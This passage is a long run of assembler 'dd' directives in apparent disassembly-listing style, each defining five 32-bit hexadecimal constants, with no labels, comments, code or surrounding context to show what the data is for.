		dd 7185B627h, 0BDE9B1EDh, 89E0841Bh, 4FA529F3h,	73D65E67h
		dd 0E5487FCFh, 5C60F7C4h, 0E3F96931h, 0D1092A6Fh, 64838977h
		dd 0FBC09D16h, 9F9EE6DFh, 13333895h, 58865204h,	0AEE832A3h
		dd 0BB02427Fh, 76A8A263h, 0EBC29995h, 0D9D4A591h, 0B5A5BF34h
		dd 0B79945B5h, 0B5D9E869h, 238FF75h, 31E8CC65h,	23197C65h
		dd 0F449AAEAh, 828B2E3Eh, 23DA8FADh, 0FE5AB60Bh, 0B3AEE162h
		dd 8D27701Ah, 3CF194A9h, 106D26FAh, 1B34A867h, 0EC62B671h
		dd 0ACC5F661h, 4DF157CDh, 6D58942Bh, 59E46EE1h,	0CABEE604h
		dd 0B516E2DBh, 59EB9B20h, 0F1D6691Fh, 7F62BE7Dh, 179F493Dh
		dd 0F090D294h, 58CF0D42h, 839E0C45h, 1EEED1A0h,	388AD744h
		dd 9E615817h, 567C5B61h, 59D86583h, 0F2200DA9h,	34E53086h
		dd 7E2755Bh, 9546A65h, 0C2A6FCD3h, 9525C281h, 0FC5F39F3h
		dd 0FB9C827Ch, 855F0427h, 191B1E0Fh, 0F3E13EB7h, 2CB741DFh
		dd 38604B4Ah, 1009C38Dh, 0BFC1EC7Bh, 639A08F0h,	3C0DC742h
		dd 7E0A5408h, 406E393Fh, 0DC963196h, 0A7B6D4F8h, 0BE4AE44Ch
		dd 7D5A0558h, 74B8A68Fh, 66ED69C4h, 70454E47h, 272CE704h
		dd 7A41CD13h, 0AEA51C08h, 62DF6D73h, 0DD800122h, 1871C329h
		dd 993566D8h, 0DFD39A79h, 6DBB04EFh, 0FB5A2842h, 6B349173h
		dd 23E5167Bh, 2CE998Ch,	917213h, 5158AFBFh, 0E1538403h
		dd 0C32004B8h, 0BDB66FC5h, 3FFD91Fh, 0D337597Ah, 16CD81B3h
		dd 0A7E4823Eh, 8B07AC6h, 993AE9C0h, 0ABFE7B03h,	9F561FB8h
		dd 32066490h, 0C200EDACh, 0FE32426Ah, 8EE74D3Ch, 0B8DFA74Ah
		dd 0B31B9641h, 69E115F4h, 0A9DC4424h, 9F7C7DCAh, 8591F101h
		dd 4D1407C6h, 65EB19ECh, 1FC001B4h, 0D88B9C3Bh,	0BF4C27FBh
		dd 29D08A01h, 8B01EE7Eh, 220EBD7Ah, 37D0AD76h, 0F16AEC67h
		dd 9971467Dh, 0D03C823Eh, 0F80FE81h, 8A89F0F7h,	3916593Dh
		dd 0FD06BB26h, 87A606D4h, 0F7E31FEh, 33963A31h,	0BA2D449Fh
		dd 4AB4769Ah, 2B1A0F99h, 9A90E52Eh, 2DC4D2FDh, 0DCFB2D68h
		dd 1DFDDE01h, 0B8E0B3FAh, 9AE05804h, 0BE05471Fh, 0F003DB59h
		dd 83015D52h, 7549E479h
		dd 363F9B0Fh, 1DF4CDA8h, 0E421CB98h, 0AEFA2174h, 0BDDB71CDh
		dd 792B8384h, 8C196941h, 548E336Bh, 36630987h, 5C391F91h
		dd 3C6ACC97h, 0C24C19Ch, 0A627D3Dh, 0C6AA8E88h,	5A172E2Dh
		dd 4357B4A0h, 91FEC83Eh, 344C2D84h, 0E91BF800h,	0C823695Ch
		dd 7CF48E44h, 0D011E449h, 6526532Ch, 0A431D393h, 2216DDC9h
		dd 4B011413h, 3782C5D3h, 9889E2A6h, 8E91911Dh, 0AD9EE0D0h
		dd 0A7D9F754h, 9E974AAFh, 0BB31355Ah, 9F95094h,	4D2BC42Dh
		dd 0AA6F593Eh, 0BF8E5631h, 195A8681h, 0D56159DEh, 0FEA32F4Ch
		dd 0AC8C17F8h, 0C9EC6B87h, 6D3DFA76h, 31FEBF2Ch, 31811CCAh
		dd 7AA4D433h, 0BFEF37AEh, 517BA93Dh, 0E5CA756Ch, 13CDE546h
		dd 6D8A8F82h, 0C1D2E7E5h, 8E3C7A4Ch, 65AFBD0Eh,	9CDA5999h
		dd 4404A191h, 3020DB3Fh, 0B3BE5368h, 0ED846E65h, 0A528091h
		dd 8489248Fh, 3F9C1C69h, 7FE24873h, 0C143E1BBh,	0B86CBAF4h
		dd 0A2C58567h, 12B1C084h, 366B3F6Ch, 0F13E6C84h, 611202DCh
		dd 852C3B6h, 3882B63Fh,	0D9647C1Dh, 5457E50h, 14DD0313h
		dd 2CB60164h, 0C5539952h, 0E0179E27h, 620E67F7h, 0C1C06E6Bh
		dd 0F332B733h, 5A11FDFDh, 0E812A216h, 215EDB7Fh, 0A9CDBC9Bh
		dd 0C4D6E2FCh, 74746079h, 6CA6C389h, 9D6FEA52h,	2E5A47C6h
		dd 0C573738h, 2266F5F3h, 76AD0322h, 448EA03Ah, 249626E2h
		dd 790F727Fh, 3723A9CCh, 294F1094h, 0CC62FC07h,	6FC242Fh
		dd 0D439D90Ah, 0B538A4D9h, 99E79153h, 65343E5h,	5E42D286h
		dd 2FE32FCEh, 0B0B9223Bh, 0B678B790h, 31412E6Ch, 83E75145h
		dd 0BD62BBBBh, 516FD913h, 46001E5Ch, 0F7DB5408h, 4CB9428Ch
		dd 4D447A2Ah, 0B542133Dh, 1070EB67h, 0BC30C62h,	33689468h
		dd 0DF6100E1h, 56D16ED6h, 0DB88CD58h, 31CC3DA1h, 2238BCEDh
		dd 0F273DC46h, 0BFC064CBh, 35C3DA4Ch, 2434A4B8h, 0ED25EAB2h
		dd 25288170h, 9D721449h, 4EDD7779h, 0A3CAEE3h, 171A1F13h
		dd 0FAF1B532h, 44EEC411h, 0DC8BEF99h, 7EB25FDh,	0FDBA778Bh
		dd 4D4A3D87h, 136DF0A6h, 0D1A6190Dh, 8672511Bh,	0C29D14B9h
		dd 2C7F7D07h, 19F6F84Eh, 0A7110DF9h, 28ABD8AAh,	56319A90h
		dd 132E190h, 1C7EB0C1h,	260F6E53h, 4A494B3Eh, 0AB016E47h
		dd 273D38A9h, 8E62FC27h, 2ADA1156h, 74869B8Eh, 0D3520054h
		dd 5F4935BCh, 0B77D64ABh, 0E14CAFE9h, 4DFA158h,	0D4564308h
		dd 8C12DA4Ah, 0E0603D24h, 44E9A29Bh, 67167564h,	0F768DF40h
		dd 98A31AE8h, 5DE64583h, 90826A4Dh, 20336DB6h, 2F3DDD88h
		dd 0C1DC0F41h, 0DC37999Bh, 8795CD89h, 265314ACh, 5F48254Ch
		dd 91AB9A7Ch, 3729C0F9h, 1C3116EFh, 0FC3EA850h,	2ADA0699h
		dd 0C9698FE7h, 0A3E73DF2h, 0A46656EFh, 0B9BF107h, 96401363h
		dd 2B6C163Fh, 737048C8h, 0FBD44EFh, 3040870Bh, 5880A054h
		dd 86F95ABCh, 52415AD5h, 0CB9DE44h, 3DE7F2C1h, 0AB2C4D51h
		dd 0DAC98807h, 8E854686h, 0B78B4C3Bh, 6FB1E87h,	0ACCE6C14h
		dd 8D159805h, 8CB432EDh, 76E1ACFDh, 1BA3D777h, 192AB9F2h
		dd 3C1824D9h, 6D43CB8Dh, 66290C0Ah, 63D3A6D2h, 4BA909E5h
		dd 1D2BC3F7h, 8E513EE8h, 94E5C2E7h, 9EF8654h, 6389838Eh
		dd 5FD42F04h, 6FA95A95h, 4B94E87Dh, 0D4497479h,	0AC1BD276h
		dd 3F837B2Ch, 0C6902C19h, 24F29A2Dh, 0A5120225h, 5D4C4EC0h
		dd 70AF5A2Fh, 0A34B98B1h, 9A581A1Bh, 1D060ECh, 8FA1C44Ah
		dd 2593C0F5h, 66F1CC44h, 28DBAD97h, 5AF8448Ch, 0BDC98D1Fh
		dd 387219B2h, 4B69306Dh, 0B3B2E76Dh, 5B09F9DCh,	0D7E1BFBAh
		dd 0E525A08Fh, 0DAE8C6B9h, 4B035B4Ah, 87CAE9E4h, 58618E8Ah
		dd 187696D5h, 322680AEh, 656DF5FBh, 4D682234h, 0DA3AB243h
		dd 20A1EA91h, 1984957Eh, 4238CE1Eh, 7DE10B8Ch, 0B7D354DFh
		dd 6D2FC6B7h, 0B66B0CF3h, 98CF8BFh, 43911E86h, 1B16BA79h
		dd 0DF68AC42h, 7CDC1671h, 1F443584h, 7E40C6A9h,	0A6DABAF7h
		dd 0EF283B87h, 0E11B484Ch, 7F92C185h, 31297146h, 175F19B9h
		dd 8C239408h, 0EB9200E3h, 5FAFD859h, 0EE3C9A6Eh, 3EB9B5B0h
		dd 0B579D2D3h, 91DD83D6h, 0DA426350h, 6596A3B0h, 26212AD5h
		dd 72A8AA29h, 0DA1DEDDFh, 38F5061Ch, 3701E7F5h,	512191FDh
		dd 8116189Fh, 931F19E8h, 350F101Eh, 0C40F4802h,	53CEA2B5h
		dd 0EC2518F7h, 4D968A3Fh, 991F93ACh, 3EE6FAE5h,	0EBEB3C90h
		dd 2EBFA55Dh, 81238523h, 0B01F9314h, 981DCD70h,	0C80BFFDDh
		dd 24FB4162h, 6C6DABF9h, 0E53D88EAh, 0D045B463h, 0DC3D37A4h
		dd 57539FAh, 0C86B94h, 0C7E24348h, 0F133EC6Bh, 0AB869C47h
		dd 0E5D835ABh, 330E73CCh, 0B20990F9h, 13371B05h, 51325024h
		dd 3C18AFB6h, 0F0BA9BAEh, 5D81DBE3h, 2D1D3BDEh,	315C89A7h
		dd 0FAC46FA8h, 78C7737Eh, 4DCC8150h, 0A1086C44h, 792030CDh
		dd 52AE852Ch, 24AC5377h, 3F45A255h, 1E5D2C31h, 0DE6C7B89h
		dd 0E49AB305h, 6EBF3923h, 799A672Ch, 915A1358h,	63A381E0h
		dd 0AAF8FD62h, 0AD4CD756h, 24890633h, 0C9D3854Fh, 915013Ah
		dd 0C523C6C2h, 0FC3FBB83h, 0FE5A5CB5h, 0D522050Eh, 10CA19F8h
		dd 0F794B8D6h, 0F6A00F16h, 0EC4BF0C0h, 4E6F92EDh, 0AAB48951h
		dd 85ABB96Dh, 36EB90A2h, 0ABF2FB9Ah, 8A2CD395h,	4FE7C5DDh
		dd 639D6793h, 1253BA37h, 32E27BC6h, 9A3C01F1h, 7FBAE87Ch
		dd 0CDFBDBFBh, 969BB563h, 6F80939Bh, 0FD3C3A3Ah, 8B389A0h
		dd 4637F13Ch, 3A3EDF0Ch, 0AD72A074h, 0A5700E62h, 78093E9Bh
		dd 0E4B933FBh, 0CD35E89Eh, 4AABF67Ah, 9B053E63h, 6D28DA84h
		dd 40C3548Ah, 2979FEC4h, 48CEA591h, 0E152818Eh,	44F1EE8Bh
		dd 4CDEA439h, 0CD3C3AC7h, 802C22DBh, 3FBAA26Fh,	7C23BC7h
		dd 76F63800h, 0EDEAB235h, 0C5BA2393h, 0D926411Fh, 14926D88h
		dd 0B2618C59h, 919652C2h, 0E6CA370Dh, 0C3BBD1DAh, 0D29AE3CBh
		dd 45446BD0h, 6636C4Eh,	0C1E9B3C2h, 0DDE6E598h,	2F61B063h
		dd 0CC14CD4Dh, 973CBE07h, 64C1363Ah, 0BF29F32Ah, 48FE865Ch
		dd 90C97632h, 62A55E60h, 4F77BAF0h, 0B60DBC5Dh,	62C9DA10h
		dd 0A779E99Dh, 8628A3DFh, 57D23CEFh, 45AAF4EAh,	0E7660C37h
		dd 58053A61h, 0BF0D2FBAh, 49817DAEh, 6791BDBFh,	0D349C4F8h
		dd 479D61A2h, 4849E273h, 4437493Ch, 42A2626Eh, 0F80DF5AFh
		dd 7048BE6Dh, 0AD922B72h, 43C9FBDCh, 0A4ABA843h, 55F80CA1h
		dd 92CB3120h, 0A094B1AFh, 0BBA0D871h, 2422262Bh, 0CB00EFFCh
		dd 0C8063110h, 3F8EC2D7h, 0C17CC19Dh, 0A9E8681Eh, 0B619000Bh
		dd 68BDB67Eh, 0B1F06FBDh, 0F8E9743Bh, 0BF5B27FEh, 5E9E2225h
		dd 20C9B250h, 0FE2D2B04h, 0BA7BDB70h, 1AECF294h, 26F6EA6Eh
		dd 70E364DEh, 0C23F6D75h, 48974C5h, 0CFBFA24Dh,	5325F8C4h
		dd 0B4421BFCh, 6CBC6Ch,	0CA9A6F3Ah, 41A4C63Fh, 4B2D44Fh
		dd 33D4E7BBh, 2372303h,	0D468D021h, 83FC9910h, 0A92B9FBAh
		dd 8516B07Ah, 0D3B84134h, 8C660C3h, 0AA0DA66Ch,	225D94EFh
		dd 9581B65Eh, 8AB48006h, 55E92AA6h, 77516590h, 3F59B1A6h
		dd 0D42EAD40h, 0A9289A24h, 0E2765456h, 3044E3E1h, 63DAF3A4h
		dd 0E01CB82Ah, 0C93A49E0h, 0A3D20509h, 2346434h, 0D07CA3C2h
		dd 56605AFBh, 36C2FF80h, 4921F810h, 0D12AECBEh,	0F5719D1h
		dd 0AD46FB5Dh, 8C980B57h, 77BAD68Eh, 0D5686AA4h, 0FADDDF99h
		dd 666583A2h, 4F0211B8h, 8A0E7E2h, 61F3D6D0h, 1FC0E779h
		dd 0E0B5D97Ch, 0B89E7B20h, 6D012488h, 9C562879h, 6C65F69Ah
		dd 5C5FD934h, 26BB1451h
		dd 8999BB3Bh, 0AA649D72h, 700A3382h, 8D45FE54h,	8A0D62Ch
		dd 80BEB8CFh, 182A3319h, 0ACE4D5B6h, 0D67094B2h, 0E7382B17h
		dd 901F651Eh, 765C5AAFh, 57CE8F36h, 0E5624104h,	0E1254FCCh
		dd 25A50F9Eh, 27D9A674h, 0F2C6625Fh, 0C35B0377h, 0D40C7612h
		dd 0EF98CA66h, 0DB9F87FAh, 17E49579h, 222EFF5Ah, 0B2DFAE9h
		dd 0F6FA63A7h, 291BB9B2h, 0FE88C4CDh, 7C143711h, 87CC87BDh
		dd 791F359h, 6CD9C5F4h,	8BC88117h, 0D37F8149h, 8EB93B8Fh
		dd 0C811F636h, 168E69E7h, 3095D854h, 0BFAB1962h, 180DAE5Eh
		dd 0F646BBB1h, 8A86EAE6h, 3DA2CD9Ch, 4F69942Ah,	2117F9D6h
		dd 0FDEE3EE3h, 7EE8D5A6h, 1AFB7568h, 0B622A754h, 0A3D5F51Ch
		dd 0D9A35253h, 63E15845h, 5DE85C9Dh, 0A3FDB7DBh, 314D236Fh
		dd 4DF5D92Ah, 3EAA5143h, 33AA0C31h, 61697651h, 815FA8A8h
		dd 0E8FD5E10h, 2EFCDA66h, 6C12A05Ah, 7292E64Eh,	33FC1437h
		dd 0FAA2B84Eh, 0CA4688BCh, 1497EF01h, 6DC0B2E0h, 0A2C5A11Dh
		dd 7D5804h, 26F0994h, 0C65B3E41h, 0CED7CF05h, 13E7EE14h
		dd 0A7CEB1CEh, 187E22Bh, 6E3F2EDEh, 0E070B384h,	0BCB14D7h
		dd 0CA400A32h, 0A038A3F1h, 0B5406E95h, 962B512Dh, 0B073A878h
		dd 0F8117870h, 95BC488Ch, 0DB5A96Bh, 29E8F283h,	6D421C7Ch
		dd 2D6D791h, 53D61DD0h,	330AC40Ah, 920DE01h, 0E6D77Ch
		dd 4E500578h, 6A7617h, 0E30A9702h, 0F44F7678h, 0BD26F564h
		dd 0CAA1E9BBh, 1B75C04Fh, 7C6AC5D3h, 4FC7DD5Fh,	0AB580E37h
		dd 2F289321h, 5C84551Bh, 520AA579h, 0E268BD08h,	4E7D707Ah
		dd 7EE31DEFh, 0A150AADEh, 6861623Ah, 0E63797E4h, 0B52055F2h
		dd 5912086h, 0E19F264Bh, 1681AA15h, 69731A46h, 4042CADBh
		dd 7443CD62h, 0DEC017E5h, 9555DADCh, 9304A33Dh,	719E3E4Bh
		dd 2C325445h, 806D4A78h, 69C8D8BAh, 5B6F3082h, 48F8A3C3h
		dd 29D8EE4Eh, 1CF9B0D5h, 6BB6A936h, 57998A32h, 9B4483D8h
		dd 0FDF383A8h, 63759724h, 0C50902BDh, 1602992Eh, 20315309h
		dd 2B985049h, 34CCC00Ch, 3030A81Fh, 0F61168CFh,	0E769134Dh
		dd 9685F2CFh, 6B675BEDh, 0C26EDF9h, 9FA1965Ch, 0D5AD2995h
		dd 0E1F3914h, 0DB8D5DD2h, 8D409EEBh, 2FB7886Bh,	5A0F031h
		dd 0E01E0430h, 0D72B5F64h, 92437C38h, 0D2BB8FF9h, 59050017h
		dd 0A1E23790h, 82E2CAFFh, 9E396644h, 6BB09992h,	0C57E6C11h
		dd 5FDF53F4h, 0E13BFFF2h, 0F65B0300h, 1797733Eh, 0FFEABBE3h
		dd 8CDEFD17h, 996AA362h, 0DDB81041h, 97C6A057h,	0FFDA0E3Ah
		dd 43265A01h, 553D3A9h,	0A4BC777Ch, 11E157Eh, 0FD91A6C6h
		dd 14337EF3h, 0F2CA7F4Dh, 61ED00D5h, 90D5A55Bh,	4866FD56h
		dd 0DAEABBF2h, 0FAABEACEh, 0C9A9F1BDh, 1A85D4D0h, 53368A3Bh
		dd 0DD441984h, 77C4CEC9h, 0FB37AA26h, 591AB95h,	9FB737BEh
		dd 967026B0h, 1B79B159h, 0F6AA59E3h, 0D1DDF984h, 0F12058ABh
		dd 0F956FCE7h, 97796784h, 0E5C626D5h, 0F90A151Ah, 0DD2DD975h
		dd 6629DF97h, 0BFD2CBEAh, 519B9D6Fh, 96F003ACh,	2660D29h
		dd 4A1A6FEh, 0FCFA0922h, 0E88A691Ah, 8668CC2h, 62ACE1FEh
		dd 945AD98Fh, 1B1A6EDh,	5A8338CDh, 0AE678C6Ch, 0CD6BF8FBh
		dd 5BB9515Ch, 496E6F6Bh, 6A50F2BBh, 0FE072B0Fh,	44053F5Ah
		dd 0A54ED3B2h, 0DCCBBBBCh, 5DE242E2h, 16D128E5h, 0A3D64CCEh
		dd 0D415A45Fh, 40507CA9h, 1A3C8B8Dh, 0D2DA8BEDh, 652F42E4h
		dd 0C64B32DAh, 42224329h, 945BF1D2h, 3FB9E5Eh, 0DF299D0Ch
		dd 1C41ECA8h, 30F87539h, 0A431070Fh, 0C51F1ABCh, 8D15456h
		dd 784B69FDh, 9995BA2Eh, 73416DC5h, 0B47A20DDh,	5DEB1B9Bh
		dd 3FF7FA41h, 5EB2B00Eh, 6A50D888h, 0C6A7EEDCh,	5DD835EFh
		dd 2D50A77Ah, 567BB4E6h, 0A937D684h, 0D571574Ah, 0D079B447h
		dd 0A5118E6Eh, 5A5EC2A3h, 0B8548F81h, 0EB83904Fh, 15DCD7A5h
		dd 0ED7415C3h, 0A4FED6BFh, 224D139Bh, 9A6776D3h, 713004D8h
		dd 350CAA70h, 22318806h, 69E25111h, 0B4E12E4Ah,	7A184140h
		dd 49060F76h, 0E6F7E6E8h, 9E37E408h, 0C68B2D1Ah, 137F4C56h
		dd 6F97A7B2h, 0D519AD82h, 0ACDD2F67h, 0E1466A07h, 22C722Eh
		dd 0A333DC29h, 1F8D516Ah, 9A3C9F83h, 0B8B8959Dh, 0F78DFBCAh
		dd 77119EA7h, 75F5C807h, 89BD8C96h, 95F8DABAh, 0D26227FAh
		dd 7DED006Eh, 80DD7AC3h, 0C4CFA4BCh, 9D1297EDh,	608B327h
		dd 6DE922h, 9FF5435h, 0A6711BBDh, 21DF9AEEh, 233386CDh
		dd 3706CDBEh, 0D98D6D10h, 1F34EA0Fh, 2EC3130Ah,	0C6DD262Ch
		dd 6E2DA6E5h, 287E47D4h, 7AC891F3h, 0CA288CE4h,	0B8CE9CF9h
		dd 0A9EFD63h, 0D92970F1h, 6F581853h, 0BB8CCBCh,	0DFEF0CF3h
		dd 13B79128h, 0F75CCE31h, 10AB89BFh, 0BB64163Ah, 42DDFA9Ah
		dd 0DD9EEF96h, 2C963CAEh, 0BC037B07h, 3E876F5Bh, 0EA70E619h
		dd 41335675h, 9B7E328Fh, 0D4130F47h, 8CF110D5h,	8F7815BEh
		dd 6FE4518Dh, 74841B73h, 6A7C306Eh, 36756621h, 6E55778Dh
		dd 802A301Ah, 3FBE158h,	151E636Eh, 7985AB02h, 58D65F80h
		dd 9DA00D6Ah, 0C78C1833h, 0EF05D533h, 9B453C49h, 579DD987h
		dd 364618EDh, 358F8837h, 0F8C187DAh, 0C5BA4315h, 5BB38A8Bh
		dd 20E6B910h, 644AFA2Eh, 199F1C7Dh, 7C1522FDh, 0FA6C9165h
		dd 477ED20Dh, 0BFCCE4E1h, 0BCFAA027h, 36C7E1B6h, 8B93EB66h
		dd 0BB4641E1h, 0B72A327Dh, 4BA1F1F3h, 4F11CFD3h, 219FF370h
		dd 99B24A3Fh, 2FD5636Eh, 83FEE38Dh, 0ED6C340Fh,	414E4AC0h
		dd 7C75ABEDh, 214789F3h, 38733DB8h, 82573383h, 51D2FDC9h
		dd 0A3217096h, 0C69037C7h, 6CEF02F5h, 0A6B23666h, 0A2BCC1E5h
		dd 0E0386A47h, 58914545h, 0AFE452F2h, 306E7CF9h, 612EDB46h
		dd 16A8A87Eh, 0E5BB064Dh, 749F0F51h, 0DCC528A8h, 51C36418h
		dd 11BEEB85h, 3D49A20Ch, 8BEC9913h, 5D597552h, 21A51E52h
		dd 0B425DB4Ah, 4E3AA118h, 0B3DD03A0h, 46B03478h, 0E18F8721h
		dd 0F316E459h, 0C00C8834h, 0EA298EE6h, 0CA6F9DDCh, 52F1FF88h
		dd 0E0C9236Eh, 7A86D7A5h, 3382EE35h, 1BAFC477h,	446710C8h
		dd 800F93D2h, 0E8DB1140h, 0C43E1129h, 5B2DE936h, 28DB471Dh
		dd 0CF871E9Bh, 0F335747Ch, 5145AB9Ch, 0E5CD511Ch, 1F5A71C4h
		dd 7883828Ah, 89A6C907h, 45730C03h, 0AD426D66h,	0CE6AC54Eh
		dd 2D7E6BC2h, 0B83DA7A7h, 75275497h, 264517D7h,	55DF88E0h
		dd 0A082E49Ah, 94733834h, 0B959831h, 6B50F0A8h,	2594D3D1h
		dd 0FF6C9F55h, 3836D686h, 0D7D16C59h, 3A180AA8h, 0B077435Ah
		dd 0AD255662h, 887D33F7h, 0E870D5D9h, 0AA5A2409h, 0C5F15EF9h
		dd 7589516Ah, 7833B8E2h, 0AEFD662Fh, 7B44EC54h,	0CA99092Dh
		dd 679EB0B8h, 109101FDh, 0D635BAEAh, 6F3F28Eh, 4AA0D965h
		dd 0F2B1BE28h, 78AC0B45h, 0AC5C40DEh, 0EC8EFFB8h, 32D4891Dh
		dd 0D8D3DCD0h, 4176CBF7h, 560C0074h, 32B95222h,	0FA490B3Fh
		dd 5214CC76h, 0A31A0B40h, 5613134Fh, 5FB3FCB0h,	0DC7A69A5h
		dd 0CBB254E9h, 0D841E3EEh, 0A599047Fh, 4334FF54h, 0E650E289h
		dd 8FD52A6Fh, 3100D5C1h, 0E87A4672h, 46B0D4ABh,	2AAD941Fh
		dd 0F0782F7Dh, 9543525Eh, 5ABDC74h, 744AE255h, 0C1090E5Bh
		dd 7635E792h, 92F13C8Ch, 4ADC0FCCh, 78C1E69Ch, 997251B4h
		dd 1B90D06Fh, 0B50D1275h, 247F0B71h, 0C6A2A0F1h, 4CFA8211h
		dd 3B2E07D4h, 0D21F3C33h, 9E32905h, 70E188FDh, 0AA30535Ah
		dd 0E68A7478h, 0F4CF4181h, 0B63D40F3h, 5BBC37FAh, 784BFF98h
		dd 0E66E4174h, 0A86F72C5h
		dd 0E7FD542Fh, 20A569C6h, 0DEA4451Dh, 4FD27242h, 466B238Ah
		dd 9FF3370Fh, 3EA708B4h, 4FD42703h, 4E1B2DEh, 1A037752h
		dd 0C8966A75h, 0E0E86328h, 0F666A0ACh, 9645331Fh, 1717E202h
		dd 0A43574A0h, 71FA0171h, 4C275A13h, 0A018680Eh, 0C7CB74C2h
		dd 0F340396Fh, 57C39403h, 7BD1C76Ch, 395DDCCBh,	8671662Ah
		dd 6EB44FB5h, 8BA8A557h, 427F8239h, 1A85A473h, 0F43EE074h
		dd 835B5828h, 0FBB78B2Dh, 9A44171Ah, 6EB8525Ah,	967E6DF3h
		dd 0D5ACB3CBh, 8CD54B21h, 0EA446C29h, 824FB154h, 94CC8239h
		dd 0B9BC4F0Fh, 26E53328h, 7BBC121Eh, 0CBEC686Bh, 0F6AEEB59h
		dd 0A1A45A4Ah, 26638ED9h, 5834CBD6h, 0B746FB2Ah, 0CEEC393Dh
		dd 7B1F4DAAh, 0C3824A6Bh, 0AC348269h, 9B9EDA1h,	99ED1612h
		dd 0DCFE7D3h, 0E142564Dh, 0A49801D5h, 0DEC3F0DFh, 1209E05Ah
		dd 0E44AEEFBh, 2FCE4BA0h, 4DD0003Ch, 0F6097AFEh, 0C7102CC3h
		dd 0E6F1A551h, 0AA3C39D2h, 0C507DE24h, 61204585h, 0A66BF4B5h
		dd 41F23B2Ch, 738F1D39h, 0F3391559h, 6195972h, 5884F22Dh
		dd 0F52D100h, 0EAE974E0h, 5D4637B8h, 89CFDF0Fh,	0A04641C8h
		dd 0E7FF3A6Dh, 0C12D6C05h, 0F6990B78h, 0CDC8DDF0h, 17036A24h
		dd 0AB6CA713h, 0C503344Bh, 9B7515h, 981377A1h, 0F9688659h
		dd 0E66AF28Eh, 81C08F52h, 61E2E80Eh, 0B5ED5A82h, 4129E7DEh
		dd 557A4BF7h, 0F6A35AA2h, 0EDC08CCh, 0CF811D13h, 56704CCDh
		dd 514C2C27h, 7D49BC8h,	1A7ADE04h, 72E6E681h, 7472ABB4h
		dd 0D15AECBCh, 5F8FEE10h, 7C01EE5Dh, 1676D69Ah,	67D9AF7Fh
		dd 0B1D0BF90h, 0F682F732h, 29B1A962h, 0C10C299Eh, 32DFC23Ah
		dd 86F5AF38h, 0A497B759h, 77A4FEC0h, 8C4A7AB5h,	2697F80Eh
		dd 0F6955938h, 9C1A8AC0h, 335DBD3Fh, 0F7F6DF3Bh, 44E1F139h
		dd 0F875FDC8h, 67AEC488h, 152E98FDh, 0E497450Ah, 0D477DCBAh
		dd 9548A6B0h, 1375D450h, 3F9D232Ah, 0A338FAAh, 0E3CE74CEh
		dd 1E2CCB8Dh, 0CC425F78h, 203E817Bh, 0A9E3BD28h, 18EAE020h
		dd 93F8F012h, 24722DAEh, 72526E89h, 9F8B20A9h, 94D30ED8h
		dd 414A45A1h, 0A51E85EAh, 6D4C5D6Bh, 8BD446Bh, 0F62CF2C5h
		dd 3E42B539h, 82ED4483h, 0E6E8C7E7h, 93AC1B08h,	0F396AD48h
		dd 817184FCh, 76C902C5h, 0C1431D2Ah, 1F8A2271h,	0B92B49CAh
		dd 172A929Dh, 4FE0D4D6h, 159A2FDBh, 7BF9BABEh, 6C6E3405h
		dd 4CF18597h, 0F0EBC3B1h, 6593FCD8h, 1F2AE136h,	0E5C845AAh
		dd 1B419002h, 9C4A1B4Dh, 0C012D853h, 1757C1A3h,	4718B18Ch
		dd 1F28E5F7h, 0E77D81Dh, 0C6CDEDF0h, 7D51D6D3h,	4C6E9458h
		dd 0E169030Ah, 0ABA03347h, 0DBB8D031h, 3E682612h, 0DCE8229Fh
		dd 783373AFh, 1E24F6EBh, 3523AEB0h, 0CDD78A5Dh,	9E71C2Dh
		dd 0F181546Dh, 0E9071B19h, 0DCD72AC6h, 1CB456BCh, 201AE569h
		dd 4194A381h, 8156B79Bh, 90B79D69h, 0D4319816h,	748F44CDh
		dd 0F7567E5Fh, 0A2AAA8A9h, 4977CF40h, 6DE67CE5h, 39E9E35Ah
		dd 0A9412C72h, 21CBDE63h, 35F99C8Eh, 21DAC68Ah,	20415EE4h
		dd 0DA2E16B2h, 0F1AEC48h, 6BBB2F03h, 8B733DEDh,	6ABF5FE0h
		dd 4DC64F00h, 0D32C99E0h, 63F1C621h, 76CE877Fh,	0A489D2EFh
		dd 699D60EEh, 338D8D0Ch, 64EA1BCEh, 40B651B8h, 436D1FEEh
		dd 1D9EC506h, 6B96EB94h, 6F816B09h, 25EE5127h, 2A602585h
		dd 4937B898h, 873B8368h, 827EB55Ah, 0E4282ACCh,	2FEB6D9Eh
		dd 0ACED7EFAh, 0F227E12Ch, 17AEFF6Eh, 5B1335A2h, 72E43B74h
		dd 2479DD48h, 51160939h, 0A112C9F1h, 0A322273h,	68BB7E3Bh
		dd 0B0F4D67Ah, 0E6549179h, 77AF158Eh, 0B6F971Bh, 0F9B33288h
		dd 6B73A03h, 0ADF8AA95h, 0CBEBBEFAh, 9B3DB47Fh,	0F9E66BC2h
		dd 0D4ED51AEh, 926AB6F3h, 3768318Ah, 737C4097h,	806AE81Ah
		dd 2D2A91B0h, 0FCCEC88Dh, 0BEBD588Dh, 0ED5FDA72h, 0AF671D81h
		dd 430CB28h, 0ACCAE33h,	1D360C1Bh, 77A1FBF0h, 99358366h
		dd 318E7004h, 5559D4BCh, 0E81AD31Dh, 0A4897E27h, 5C5631D8h
		dd 92E3EC92h, 20417260h, 27A5D97Eh, 0A01BC547h,	87A1748Ch
		dd 0BC63259Dh, 512058C1h, 0C3A91E7Ah, 0DB2A28C0h, 0F1F104EEh
		dd 45A4A364h, 0F7CB6C4Bh, 0A920B96Fh, 0F0CACD32h, 0B9855379h
		dd 818E47A5h, 3EEF55B8h, 0A0524EFh, 0B55E9F81h,	0D30528CCh
		dd 63B1E78Ch, 0D7324D3h, 5A49B185h, 52613DCBh, 497AD993h
		dd 5108F6E1h, 312A6DCCh, 909791DEh, 84780914h, 0DBE5BFBFh
		dd 2A668963h, 0E9864407h, 0BEED17B8h, 777E73FAh, 3AA7B9F3h
		dd 0F8DC67FDh, 0CF53C1Eh, 5D923DFh, 0C6C1AE49h,	37D1F674h
		dd 52018145h, 0CC692915h, 7BBE7752h, 84B9C052h,	0C755EFB2h
		dd 0FAB042F1h, 1162B342h, 72462AD9h, 0B0E2F93Dh, 0F15860Dh
		dd 0F7EF322Bh, 4AF1EB24h, 262F8F42h, 17841BAh, 513845B7h
		dd 1BEFC496h, 0C9E75F7h, 0EA8486A8h, 8A74E751h,	0CAD77B7Bh
		dd 537651E6h, 4425E2A5h, 161DEFDEh, 0D891B2C9h,	602C2A08h
		dd 0AE18DFC8h, 0D3FD08D0h, 7DB77B3Dh, 390DD9ABh, 41CD483Eh
